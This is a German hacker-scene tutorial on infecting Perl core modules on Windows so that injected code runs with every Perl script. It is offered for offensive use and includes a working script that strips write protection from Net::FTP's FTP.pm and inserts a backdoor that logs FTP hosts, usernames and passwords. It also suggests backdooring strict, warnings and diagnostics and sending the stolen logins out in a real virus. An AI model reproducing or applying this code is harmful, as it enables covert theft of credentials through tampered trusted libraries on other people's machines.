[+]Topic: Tutorial
[+]Von: Perforin
[+]Return: Tutorials

_________________________ //_______________________\\ || || || [V]irus [X]change || ___ ___ ___ || Netw0rk || \ \ \ \ / / ||-----------------------|| \ \ \ \ / / || The Perl Monks || \ \ \ \ / / || presents || \ \ \ / / || || \ \ \/ / Netw0rk || Core Module Infection || \ \ / / \ || on a Windows || \ \ / /\ \ || Box || \ \ / / \ \ || || \ \__/ / \ \ || by Perforin || \______/ \__\ ||-----------------------|| || Your || || polymorphic || || Nightmare || ||_______________________|| \\_______________________// :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::[ Intro ]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Hier zeige ich euch wie man Perl Core Module infiziert, was ganz einfach ist, da Windows keine Anstalten macht, wenn man diese Dateien aendern will. In Linux kann man dies nicht, da benoetigt man schon root Rechte. Windows hat nur einen Schreibschutz auf die Dateien gelegt x) Wieso sollte man die Core Module infizieren? Ganz einfach, diese sind standartmaessig bei einer Perl Installation dabei und sind die Module die am haeufigsten in Perl Skripten geladen werden. Wenn wir nun unsere Code in eines dieser Module injecten koennen, wird unser Code also auch jedesmal mit ausgefuehrt! ARF ARF GOTCHA! :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::[ HowTo ]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Der Perl Ordner findet man standarmaessig auf unter C:\Perl\ . Am besten ihr nehmt $ENV{'HOMEDRIVE'}\Perl\ . \lib\ ist der Ordner, wo all sich alle Module befinden. Das Modul FU::BAR findet man unter diesem Pfad $ENV{'HOMEDRIVE'}\Perl\lib\FU\BAR.PM Die Wichtigsten der Core Module und/oder die Interessantesten waeren wohl Net::FTP Net::Telnet Net::SMTP Net::POP3 File::Glob LWP::Simple IO::Socket strict warnings diagnostics Das sind naemlich die Module die wohl am haeufigsten gebraucht werden oder interessante Login Daten verarbeiten :-) So sind wir uns fast sicher, dass bei jeder Perl Datei die auf der Box gestartet wird, auch unser Code aus- gefuehrt wird.┬┤Mit etwas Glueck bekommen wir auch vertrauliche Informationen von der NET Familie. FTP, Telnet, SMTP, POP3, SSH etc logins frei haus! Hiermit koennen wir den Sniffer getrost bei Seite legen. So entfaellt das laestige durchsuchen der Festplatte nach moeglichen Perl Dateien die wir dann infizieren und wo es nicht sicher ist, dass diese ueberhaupt einmal gestartet werden... :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::[ Code ]:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Wir muessen jetzt nur noch schauen, dass wir unseren Perl Code in die Core Module eingebettet bekommen. Das am besten ohne Fehler die auf eine Manipulation hindeuten koennten. Der folgende Beispielcode speichert alle FTP Logins von Net::FTP in einer Datei. /!\ Aufgepasst, denn die Datei "LOGINS.log" wird nicht wie vielleicht vermutet, in $ENV{'HOMEDRIVE'}\Perl\lib\Net\ gespeichert, sondern dort wo das Skript gestartet wurde, das das FTP Modul benutzt! Da dieser Code ja eh nur als Beispiel dient ist das ja nicht weiter schlimm. In einem Virii wuerde man sich diese Daten nun schicken lassen. 8<------------------------------------------------------------------------ #!/usr/bin/perl chmod(0777, "$ENV{'HOMEDRIVE'}\\Perl\\lib\\Net\\FTP.pm"); print "[+] Denied write permission removed!\n"; print "[+] Opening FTP.pm\n"; open(FTP,"<","$ENV{'HOMEDRIVE'}\\Perl\\lib\\Net\\FTP.pm") || die "[!] Cannot open FTP.pm!"; @FTP = <FTP>; close(FTP); print "[+] Reading...\n"; print "[+] Write Backdoor\n"; foreach $line (@FTP) { if ($cnt == 56) { $line =~ s/$line/open(H4x,">>","LOGINS.log"); print H4x "Host: \$host\\n";\n/; } if ($cnt == 240) { $line =~ s/$line/print H4x "User: \$user\\nPass: \$pass\\n\\n"; close(H4x);\n/; } $cnt++; push(@NFTP,$line); } print "[+] Backdoor active!\n"; open(NFTP,">","$ENV{'HOMEDRIVE'}\\Perl\\lib\\Net\\FTP.pm") || die "[!] Cannot rewrite FTP.pm!"; print NFTP @NFTP; close(NFTP); print "[+] FTP.pm is now backdoored!\n"; 8<------------------------------------------------------------------------ Wenn wir jetzt nur ein modul infizieren wollen, damit wir sicher gehen, dass unser Code bei jedem start einer Perl datei mitgeladen wird, dann sollten wir strict.pm, warnings.pm und diagnostics.pm infizieren. Da diese keine Login Informationen uebertragen, muessen wir hier auch nicht sonderlich aufpassen, wo wir unseren Code injecten. Am besten jedoch vor die POD. Ich glaube hierzu braucht ihr auch nicht wirklich einen Beispiel Code, denn hier koennt ihr echt nicht sehr viel falsch machen! Wie ihr andere Module effektiv infiziert, dazu muesst ihr euch nur die Dokumentation davon reinziehen. Bei Net::POP3 zum Beispiel, wird der Host in der sub "new" uebertragen. Siehe --> $pop = Net::POP3->new('pop3host'); Die Login Informationen werden in der "login" sub uebertragen! Siehe --> $pop->login($username, $password); :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: ::::::[ Outro ]::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Ja das wars auch schon wieder von mir. Ihr seht das war wirklich nicht schwer, denn Microsoft laesst uns wieder viel Spielraum zum virii coden :) Was uns hier auch noch zu Gute kommt, ist dass man die Core Module von Perl nicht oft bis gar nicht kontrolliert. Ausser eben, man baut Mist beim infizieren der Module so, dass es zu Fehlern bei Dateien kommt, die ansonsten immer einwandfrei funktioniert haben. Also nur aufpassen, dass ihr sauberen Code injected! Bei weiteren Fragen, meldet euch bei einem unserer PerlMonks oder bei mir selbst! #vxnet